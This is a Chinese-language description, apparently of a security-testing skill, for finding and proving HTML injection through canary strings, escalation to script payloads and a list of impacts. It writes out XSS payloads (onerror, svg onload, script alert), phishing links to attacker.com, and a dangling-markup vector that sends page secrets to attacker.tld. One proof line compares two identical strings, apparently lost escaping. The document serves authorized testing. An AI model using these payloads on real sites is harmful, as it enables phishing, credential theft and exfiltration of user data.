用途：识别和验证 HTML 注入——用户输入被原样插入页面 HTML 而未转义，浏览器把注入标签当标记渲染。与 XSS 不同，注入内容无需执行 JavaScript，注入 <b>、<h1>、<a>、<img> 或 <form> 即可成立。
主要能力与证明方式：为明确证明影响，升级到携带唯一数字金丝雀的主动向量，例如 "><img src=x onerror=alert(91234)> 或 <svg onload=alert(91234)>；用 4 位以上独特数字而非 alert(1)，以区分自己反射的注入与练习页提示文本中的示例载荷。证明 = 响应中出现未转义的原始向量和金丝雀。
影响包括：通过注入 <form> 或 <a href="attacker.com"> 进行钓鱼；界面篡改；注入登录表单收集凭据；用 <meta http-equiv="refresh"> 跳转；作为 XSS 的跳板；悬空标记外带，即使过滤 <script> 和事件处理器，未闭合标签也能捕获后续页面内容，如注入 <img src='//attacker.tld/log?html= （无闭合引号/>），浏览器会把直到下一个 ' 的内容当作 URL，泄露 CSRF 令牌、机密或 PII；邮件/通知上下文注入，字段未转义反射到事务邮件（注册确认、管理员告警、客服记录）中，向收件箱渲染注入的 <a>/<img>/悬空标记。
攻击面：任何反射或存储后在 HTML 上下文显示的输入，如搜索框 (?q=)、评论、反馈、评价、资料字段、错误消息 (?error=, ?message=)、联系表单主题/正文、管理员可见字段（工单标题、日志中的用户名）。
测试优先与用法：注入可识别 HTML 标签加唯一金丝雀字符串，响应中出现未转义尖括号即确认。模式一：<b>CANARY</b> 或 "><b>CANARY</b>，用本次测试独有的 CANARY；证明是响应含字面 <b>CANARY 而非 <b>CANARY。当 <b> 被过滤时尝试 <h1>CANARY</h1>、<img src=x onerror=CANARY>、<a href="https://attacker.com">click</a> 等不同标签。存储型则先注入存储端点，再 GET 展示页面检查未转义标签。若 <b> 可行，立即升级尝试 <script>alert(1)</script>。
限制：资料未提供该技能的安装命令、运行环境、收费、平台支持或自动化执行步骤，以上均暂未提供。仅依据描述无法确认其实现细节与适用范围。